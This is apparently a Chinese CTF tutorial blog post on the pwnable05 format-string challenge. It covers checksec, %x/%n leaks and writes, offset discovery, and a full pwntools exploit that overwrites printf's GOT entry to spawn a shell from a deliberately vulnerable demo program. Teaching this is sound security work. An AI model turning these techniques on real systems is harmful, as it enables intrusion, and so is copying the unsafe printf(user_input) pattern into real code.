说实话看到这个标题我自己是先愣了一下。pwnable05这是很多搞安全的朋友都走过的路一个系列练习题的第五关。我当年做这一关的时候其实卡了好几天。不是因为它多难而是因为这一关第一次让我真正意识到漏洞利用不是一个“照着脚本抄”就能搞定的事它需要你真的去理解程序是怎么跑起来的。所以这篇文章我不打算给你念手册也不打算把网上那些标准答案再贴一遍。我想用一个过来人的口吻把从零开始做pwnable05的思路、踩过的坑、还有我自己总结的一些经验完整地捋一遍。不管你现在是刚把汇编指令认全还是已经能跟着大佬的exp跑通几个题目这篇文章都会有点用。至少能让你少走点我当年走岔的弯路。1. pwnable系列为什么是小白入门首选先说结论pwnable系列不管是早期的pwnable.kr还是后来衍生出来的各种变种是所有刚接触二进制安全的人性价比最高的入门练习之一。它的题目设计有一个特点就是每一关都只围绕一个核心的漏洞点展开不会给你塞一堆花里胡哨的驱动或者复杂的业务逻辑。你只要把某一个知识点吃透就能把题目打穿。1.1 从零开始的pwn装备清单做pwn题本质上是和程序的内存布局打交道。你不需要一台很贵的电脑也不需要什么服务器一台能装虚拟机的普通笔记本就够了。我自己用的环境是Ubuntu的某个长期支持版本多少位版本其实无所谓但要注意待会儿编译题目的时候目标程序是多少位的这个很重要直接影响我们后面计算偏移的方式。工具方面我真心建议按下面这个清单来准备都是我实打实用过觉得靠谱的Python3环境这个是基础不用多说。pwntools这是写exp的核心库。它帮你封装了打包整数、发送数据、接收数据、和进程交互这些繁琐的底层操作。安装很简单pip install pwntools如果遇到权限问题就加个--user。checksec用来查看程序开启了哪些安全保护。它在pwntools里自带也可以单独用。我后面会详细讲怎么看这些保护。gdb调试器必备。配合几个插件用起来会舒服很多。IDA或Ghidra用来做静态分析。当题目不给源码的时候你需要靠它把程序的逻辑逆向出来。pwnable05这一关一般会给你源码但你自己也得会看反汇编因为源码和实际编译后的行为有时候会有细微差别。1.2 checksec查看程序保护状态拿到一个二进制文件第一件事不是急着去运行而是先用checksec看一眼它穿了什么盔甲。这决定了你后面用什么样的攻击姿势。我随便用一个示例程序来说明checksec ./fmt输出大概长这样Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)逐个解释一下这都是老生常谈了但确实重要Archi386-32-little说明这是32位程序小端序。32位程序在传参方式、地址长度上都和64位不一样我们后面会用32位来讲解因为它对新手更友好堆栈布局也更容易理解。RELROPartial RELRO意思是GOT表全局偏移表程序用来找外部函数地址的表是可写的。这是好消息因为我们可以通过改写GOT表来劫持函数调用。StackNo canary found说明栈上没有放置金丝雀值。金丝雀是防止栈溢出的保护机制没它我们如果要做栈溢出攻击就会轻松很多。这一关虽然主要不是靠栈溢出但没这个保护你调试的时候可以随意折腾栈结构不会动不动就崩给看。NXNX enabled表示栈不可执行。如果NX没开启也就是题目是-z execstack编译的我们可以把shellcode放到栈上直接执行。但现代题目基本都开NX所以我们需要通过代码重用比如劫持到已有的函数来绕过。PIENo PIE这个太关键了。没有开启地址随机化意味着程序加载到内存后它的函数地址、全局变量地址都是固定的不会变。这让我们可以硬编码地址省去了先信息泄露再计算地址的麻烦。2. 格式化字符串漏洞到底是怎么泄露信息的pwnable05这一系列我印象里到了这一关卡主要就是让你接触格式化字符串漏洞。刚接触这个的时候我其实一头雾水因为以前写C语言题目printf都是这么用的也没觉得有什么问题。但说白了漏洞不在于printf本身而在于你怎么用。2.1 你输入的字符串成了指令正常情况下你会这么写printf(Hello %s, your number is %d\n, name, num);这里%s和%d是格式符告诉printf后面有几个参数、分别以什么形式输出。漏洞代码长这样printf(user_input);你把用户输入直接作为格式化字符串传给了printf。这时候如果用户输入了%s、%d这样的格式符printf就会认为你让它输出一个字符串或一个整数于是它就会去栈上找对应的参数。你可以把printf想象成一个不太聪明的传话人。正常时候你把话说清楚了还指好了物资在哪里参数但漏洞情况下你只递了一张写着“随便取点东西出来”的纸条这个传话人就会从身边的货架上栈和寄存器一通乱拿。你控制输入就可以控制它拿什么、怎么展示甚至往哪里写。这就引出了两个最基础的能力泄露内存和改写内存。泄露比如%x可以让你把栈上某个位置的十六进制数打出来%p输出指针格式%s则可以把某个地址当作字符串起点读取一段内存直到遇到\x00。这用来偷地址、偷flag非常好用。改写%n这个格式符最特别。它不是用来输出的而是用来计数的。%n会把“到目前为止已经输出的字符数”写入到某个参数指定的地址中。如果能控制这个参数为某个关键地址比如返回地址、GOT表项我们就能往那写一个数。这个数的大小取决于你构造的payload长度所以可以做到比较精确的改写。2.2 参数偏移找那个藏在栈里的自己有一件事很重要也是新手最容易懵的printf的参数不仅仅是函数括号里的那些对于一个32位程序前几个参数会优先使用寄存器传递在Linux下通常是ebx、edx、ecx等不过printf的参数传递有个固定的调用约定这里先不细展开剩下的参数才从栈上取。这就导致了一个问题你输入的字符串也就是payload本身就放在栈上而它从第几个参数开始能被printf取到这件事是不固定的跟程序具体执行流程、栈布局有关。所以你要做的第一步永远是“数偏移”。最简单的方法就是输入一串%x比如AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x然后观察输出的那一串十六进制中哪一段的值对应的ASCII正好是AAAA即0x41414141。那个位置就是你的输入在格式化字符串中被当作参数开始的位置。这一步我当年不知道数了多少遍。有时候你看着输出里那个0x41414141好像在第7个但换一个环境比如本地跑和远程跑偏移可能就变了因为stdin缓冲、环境变量长度会影响栈布局。所以每次都重新算偏移是一个好习惯偷懒不得。到这里格式化字符串漏洞最基本的两个操作就已经有了泄漏想要的地址以及往想写的地址写想要的数。3. 环境搭建与快速跑通第一个exp工欲善其事必先利其器。你要是还没把环境搭顺溜后面写exp会非常痛苦。这一节我把自己的环境清单和第一个exp的跑通过程说一下。3.1 安装pwntools和调试插件用Python3的包管理器装pwntools就行pip install pwntools如果想顺便验证一下python3 -c from pwn import *; print(OK)gdb的话装一个原版gdb再配一个pwndbg插件。调试pwn题没有插件会非常难受因为原版gdb不会自动帮你注释栈上的地址对应什么符号。装了pwndbg之后你每次断点停下它会自动帮你显示栈顶、寄存器指向的地址和对应的符号省了大量手动查的时间。3.2 完成第一次简单泄漏我找了一道类似的题目模板核心代码大概是这样的这是我为了复现这一类题目自己写的一个demo结构和pwnable05很像#include stdio.h #include stdlib.h void secret_func() { system(/bin/sh); } int main() { setbuf(stdout, NULL); char buf[128]; while (1) { printf(Input: ); fgets(buf, sizeof(buf), stdin); printf(buf); printf(\n); } return 0; }编译命令里要注意关掉各种保护方便练习gcc -m32 -fno-stack-protector -no-pie -z execstack fmt.c -o fmt然后我写了一个最简单的exp先确认偏移from pwn import * context.log_level debug io process(./fmt) payload bAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x io.sendline(payload) resp io.recvline() print(resp)一般输出会是一串数字中间有.隔开。我在输出里找找有没有41414141。如果找到了就数一下它排在第几个那就是偏移。这个demo里答案通常是7。所以payload里的第一个%x对应的是偏移0第二个对应偏移1……如果41414141出现在第7个位置说明我们的输入从偏移7开始。这一步跑通之后后面所有的问题都迎刃而解。因为格式化字符串攻击最核心的“地基”已经打好了——你知道自己的输入会以参数的形式出现在什么位置你就能针对性地引用它。4. 手把手完成pwnable05的完整利用现在到了最关键的实操部分。我们假设目标程序就是上面那段C代码编译出来的保护情况是Partial RELRO、没有canary、没有PIE。那么目标很明确改写某个函数的GOT表项让它跳转到secret_func拿到shell。4.1 分析目标程序与保护状态先把程序拖进IDA或者用objdump看一些关键信息。printf的GOT地址需要找printf的GOT表项因为printf(buf)这句会调用它。如果我们把printf的GOT内容改成secret_func的地址那么下一次执行printf时程序就会直接跳去执行secret_func。secret_func的地址直接用nm或者从IDA里能看到比如0x0804851b。我在pwntools里可以这样取地址elf ELF(./fmt) printf_got elf.got[printf] # printf的GOT地址 secret_addr elf.symbols[secret_func] # secret_func的函数地址4.2 确定格式化偏移这个不重新做一遍我不放心因为不同环境栈偏移可能有变化。稳妥做法是写个脚本来自动找偏移。from pwn import * context.log_level error for i in range(1, 20): io process(./fmt) io.recvuntil(bInput: ) payload fAAAA%{i}$x.encode() io.sendline(payload) resp io.recvline() if b41414141 in resp: print(ffound offset: {i}) io.close() break io.close()%n$x这种写法表示取第n个参数并按十六进制打印这样我们可以精确控制只看某一个位置。上面脚本里如果某次输出里出现了41414141那当前位置就是偏移。跑完一般都能定位出来。4.3 改写GOT表劫持控制流现在到了最核心的一步把printf的GOT表内容改成secret_func的地址。手工构造payload的时候我需要拆成两个步骤来想第一往哪个地址写。第二写什么值。32位下地址是4字节。假如printf_got是0x0804a00csecret_addr是0x0804851b。我需要往0x0804a00c写入0x0804851b这个数值。如果直接按顺序写那payload开头就是地址但地址里可能会包含\x00之类的字节会被fgets截断。所以通常把地址放在payload靠前的位置然后用%n配合偏移来写。鉴于很多新手在这块会绕晕我用一个直观的类比。手工构造的时候%n写入的值不是随便来的它是“到当前位置为止printf已经打印出来的字符总数”。所以如果我想让写入的数是0x0804851b我需要让程序在调用%n前正好打印出这么多字符。但0x0804851b是134519067太大了硬凑太蠢。所以实际情况我们不是一次写完整的4字节而是拆成两个2字节的写操作写入低2字节0x851b写入高2字节0x0804为什么可以拆因为%n系列里还有%hn它写入的是2字节。而我只需要往目标地址GOT表项写入低2字节再往目标地址2写入高2字节就能拼出完整的地址值。具体来说比如先让打印的字符数达到0x851b这需要先打印34075个字符然后用%hn写入第一个地址。再让字符数达到0x10804也就是2052不对这里有个技巧因为第二次的字符数必须比第一次大才行所以如果高2字节数值比低2字节大那直接继续打印到那个值即可如果比低2字节小就在前面加一个高位比如0x10804因为只取低2字节所以写入的值还是0x0804。这些都是真实的技巧但手工算起来确实麻烦而且容易错。这也是为什么我建议用pwntools的现成工具。4.4 用fmtstr_payload一键生成如果你理解了原理其实完全没必要手工算这些数值pwntools帮我们封装好了。payload fmtstr_payload(7, {printf_got: secret_addr})这一行的意思很直白格式化字符串的偏移是7我要把printf_got这个地址的值改成secret_addr。函数自动帮你布局地址、填充字符数、连贯的格式化串。完整exp长这样from pwn import * context.arch i386 context.log_level debug io process(./fmt) elf ELF(./fmt) printf_got elf.got[printf] secret_func elf.symbols[secret_func] log.info(fprintf_got: {hex(printf_got)}) log.info(fsecret_func: {hex(secret_func)}) payload fmtstr_payload(7, {printf_got: secret_func}) io.recvuntil(bInput: ) io.sendline(payload) io.interactive()实测几轮之后程序会调用一次printf然后跳转到secret_func最后执行system(/bin/sh)你在interactive()里就可以随便敲命令了。写完这个exp你会发现这一类题目的路数已经掌握一半了。剩下的就是根据题目变体调整偏移和目标地址套路是一样的。5. 常见问题与排查技巧我把自己做这关以及帮别人review exp的时候经常遇到的问题整理一下这些基本都是实战里一定用得上的经验。5.1 偏移数错了怎么办这是最最常见的问题。fmtstr_payload(7, ...)里的这个7不是拍脑袋写的。如果你的payload偏移不对程序很大概率直接崩溃或者明明发了payload却没有反应。排查方法很简单就是前面提到的自动检测偏移的脚本。但还有一点要注意这个偏移在不同的连接条件下可能不一样。比如本地和远程的libc版本不同、环境变量不同偏移极可能差上几位。所以即使是同一个二进制远程打的时候最好也先用AAAA%x串探一下远程的偏移。5.2 本地运行正常但远程失败这是一种很折磨人的情况。本地跑exp拿到shell远程却失败。我遇到过的原因大部分是这几种地址差异远程程序的libc版本和本地不一样导致某些函数的真实地址不同。不过如果这关利用了函数本身如secret_func因为它不受ASLR影响洞里没开PIE地址应该是稳定的。但如果利用的是libc函数那就必须先泄露libc地址再算基址。输出版本差异不同系统上printf对某些格式符的输出行为可能有些许不同比如栈上对齐时多打几个字节之类的。解决方法是利用时要“宽容一点”比如接收数据不要太严格直接以特征字符串为准。字节截断fgets读到换行符就结束如果远程是读入直到某个特定分隔符你的payload里不小心带了\n或\x00就可能提前结束。处理方式是把payload里的截断字符都编码掉。5.3 其他容易踩的坑写格式化字符串exp的时候有几个特别容易踩的坑我这里记一下地址字节里的\x00如果目标地址的高字节是\x00直接拼在payload开头发送时会被当成字符串结束符后面内容全丢。解决办法是把地址放在payload靠后的位置或者用一些技巧绕开。计数溢出%n写入的是已输出字符数这个数可以很大但在部分平台可能有符号位问题超过0x80000000会变成负数虽然多数题目用%hn写2字节不太会遇到但如果你硬要写一个很大的完整4字节值就可能出问题。所以尽量用%hn分两次写。hlt 或 SIGSEGV程序崩了别慌先用gdb看看崩在哪。如果你往GOT表写入了错误的值程序在下次调用那个函数时就会跳到非法地址。如果secret_func没有被成功跳转往往是因为写入的字节数不够或者地址偏移算错。循环输出有的题目程序用的是循环会多次printf你的输入。像我们这道题就是while(1)所以如果第一次攻击没成功程序不会退出你可以再发一次payload。但要注意第一次失败可能已经污染了一些内存状态连续发送前最好确认是否真的失败了。栈对齐问题在64位程序里格式化字符串的偏移计算要复杂一些因为printf参数前几个用寄存器传但也能通过%rdi等方式引用。这篇主要以32位为例如果后续你开始做64位题还记得要重新数偏移。6. 从这道题延伸开去搞定pwnable05的一瞬间你可能觉得挺爽但别高兴太早这一关只是领你进门。它背后连着的东西还挺多的。信息泄露只是开始当你明白了%x能未经授权地读内存你就该明白在很多真实的程序里这类漏洞可能造成密码、token之类的泄露这是一个通用问题不只是CTF里有。GOT表劫持是一整个攻击类别通过改写GOT表跳到想要的函数或者shellcode是一种经典的攻击思路。它在很多真实漏洞场景中也有变体虽然现代系统开了各种缓解措施但思路没变。格式字符串在堆上也能打如果目标程序是先拷贝到堆再格式化输出那你的输入结构就从“栈上连续布局”变成“堆上布局”计算偏移的方式要跟着变但思想还是同一个。配合其他漏洞格式化字符串漏洞常常被用来做信息泄漏泄漏出libc基址或者栈地址然后配合栈溢出再打一发。所以它不是孤立的技能是你工具箱里的一把螺丝刀。我后来做了很多题回头发现pwnable05这一关教会我的不只是格式化字符串的语法而是一种调试心态遇到问题先别急着蒙答案先一步一步确认程序当前的状态确认偏移、确认地址、确认保护再动手打。这种思路比会一个具体工具重要得多。最后再分享一个小技巧写exp的时候保持脚本结构清晰把获取偏移、泄漏地址、生成payload、发送和交互这几个阶段拆成函数或者用注释隔开。等你后面做复杂的题目一个exp几十行甚至上百行这种习惯能救你的命。如果这篇对你有点帮助或者你手头有更好的调试姿势也欢迎在评论区分享。毕竟pwn这条路一个人走还是挺容易自闭的。